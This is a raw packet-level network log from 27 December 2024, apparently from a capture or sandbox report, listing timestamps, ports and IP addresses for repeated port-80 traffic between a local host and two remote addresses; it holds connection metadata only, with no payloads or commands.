Dec 27, 2024 09:01:46.924845934 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:46.925615072 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:46.925659895 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:46.926439047 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:46.926481962 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:46.926564932 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:46.926605940 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:46.927259922 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:46.927424908 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:46.927661896 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:46.928155899 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:46.928250074 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:46.928292990 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:46.928992033 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:46.929083109 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:46.929127932 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:46.929812908 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:46.929972887 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:46.930016994 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:46.930754900 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:46.930831909 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:46.930870056 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:46.931560040 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:46.931658030 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:46.931704044 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:46.932395935 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:46.932490110 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:46.932533979 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:46.933248043 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:46.933367014 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:46.933518887 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:46.934075117 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:46.934216022 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:46.934267044 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:46.934943914 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:46.935040951 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:46.935091019 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:46.935842991 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:46.935949087 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:46.936000109 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:46.936642885 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:46.936744928 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:46.936899900 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:46.937486887 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:46.937608957 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:46.937647104 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:46.938328028 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:46.938426018 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:46.938469887 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:46.939194918 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:46.939321041 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:46.939358950 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:46.940032959 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:46.940155983 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:46.940233946 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:46.940886021 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:46.940999985 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:46.941045046 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:46.941752911 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:46.941857100 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:46.941952944 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:46.942625046 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:46.942740917 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:46.942787886 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:46.943459988 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:46.943651915 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:46.943707943 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:46.944298029 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:46.944408894 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:46.944458008 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:46.945161104 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:46.945265055 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:46.945736885 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:46.946022034 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:46.946126938 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:46.946172953 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:46.946866035 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:46.946985960 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:46.947032928 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:46.947719097 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:46.947814941 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:46.947896957 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:46.948589087 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:46.948707104 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:46.948759079 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:46.949420929 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:46.949690104 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:46.949740887 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:46.950368881 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:46.950413942 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:46.950457096 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:46.951165915 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:46.951248884 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:46.951297998 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:46.952016115 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:46.952101946 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:46.952142954 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:46.952846050 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:46.952929974 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:46.952975035 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:46.953644991 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.017275095 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.101037025 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.101072073 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.101138115 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.101319075 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.101332903 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.101383924 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.102075100 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.102206945 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.102255106 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.102983952 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.103107929 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.103750944 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.103832006 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.103961945 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.104001999 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.104660988 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.104765892 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.104811907 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.105506897 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.105746031 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.105796099 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.106353998 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.106492996 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.106534004 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.107212067 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.107273102 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.107340097 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.108124971 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.108232975 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.108324051 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.108941078 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.109030962 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.109153032 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.109801054 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.109886885 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.110004902 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.110626936 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.110722065 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.110765934 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.111537933 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.111650944 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.111733913 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.112380028 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.112546921 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.112598896 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.113181114 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.113291979 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.113400936 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.114044905 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.114164114 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.114909887 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.114986897 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.115024090 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.115071058 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.115746975 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.115878105 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.115922928 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.116569042 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.116698980 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.117451906 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.117491961 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.117582083 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.117626905 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.118319988 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.118459940 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.118511915 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.119159937 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.119266033 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.119342089 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.119998932 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.120069981 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.120367050 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.120851994 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.120978117 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.121031046 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.121706009 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.121860027 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.122147083 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.136748075 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.136867046 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.136914968 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.207700968 CET	49878	80	192.168.2.4	185.215.113.43
Dec 27, 2024 09:01:47.208045959 CET	49887	80	192.168.2.4	185.215.113.43
Dec 27, 2024 09:01:47.258112907 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.272130013 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.327541113 CET	80	49887	185.215.113.43	192.168.2.4
Dec 27, 2024 09:01:47.327565908 CET	80	49878	185.215.113.43	192.168.2.4
Dec 27, 2024 09:01:47.327723026 CET	49878	80	192.168.2.4	185.215.113.43
Dec 27, 2024 09:01:47.328048944 CET	49887	80	192.168.2.4	185.215.113.43
Dec 27, 2024 09:01:47.328048944 CET	49887	80	192.168.2.4	185.215.113.43
Dec 27, 2024 09:01:47.377785921 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.377806902 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.377922058 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.378087044 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.378237009 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.378496885 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.378922939 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.379030943 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.379775047 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.379836082 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.379878044 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.379925013 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.380605936 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.380882025 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.380990982 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.381043911 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.381721020 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.381776094 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.381810904 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.382589102 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.382695913 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.382751942 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.383431911 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.383485079 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.383537054 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.384284973 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.384399891 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.384455919 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.385267973 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.385297060 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.385325909 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.386009932 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.386121988 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.386173964 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.386843920 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.386897087 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.386934996 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.387711048 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.387804985 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.387860060 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.388561964 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.388619900 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.388659000 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.389431000 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.389614105 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.389667988 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.390255928 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.390350103 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.390397072 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.391123056 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.391174078 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.391213894 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.391949892 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.392272949 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.392326117 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.392803907 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.392848015 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.392916918 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.393656969 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.393735886 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.393760920 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.394510031 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.394551039 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.394599915 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.395406008 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.395461082 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.395500898 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.396214962 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.396327019 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.396383047 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.397056103 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.397100925 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.397166014 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.397944927 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.398057938 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.398123026 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.398770094 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.398821115 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.398860931 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.399643898 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.399709940 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.399873018 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.400485039 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.400583029 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.400681019 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.401334047 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.401384115 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.401424885 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.402192116 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.402298927 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.402352095 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.403031111 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.403136969 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.403182983 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.403894901 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.403948069 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.404221058 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.404747009 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.404788017 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.404844046 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.405595064 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.405641079 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.405699968 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.406462908 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.406554937 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.406606913 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.407305956 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.407351971 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.407407045 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.408149958 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.408247948 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.408319950 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.409033060 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.409097910 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.409162998 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.409857035 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.409928083 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.409979105 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.410720110 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.410774946 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.410815001 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.411587954 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.411648035 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.411701918 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.412411928 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.412468910 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.412508011 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.413296938 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.413367033 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.413430929 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.414103031 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.414226055 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.414316893 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.414958954 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.414984941 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.415019989 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.415817022 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.415877104 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.415921926 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.416671038 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.416804075 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.416860104 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.417557955 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.417599916 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.417614937 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:47.418385029 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.418458939 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:47.418521881 CET	49876	80	192.168.2.4	185.215.113.16
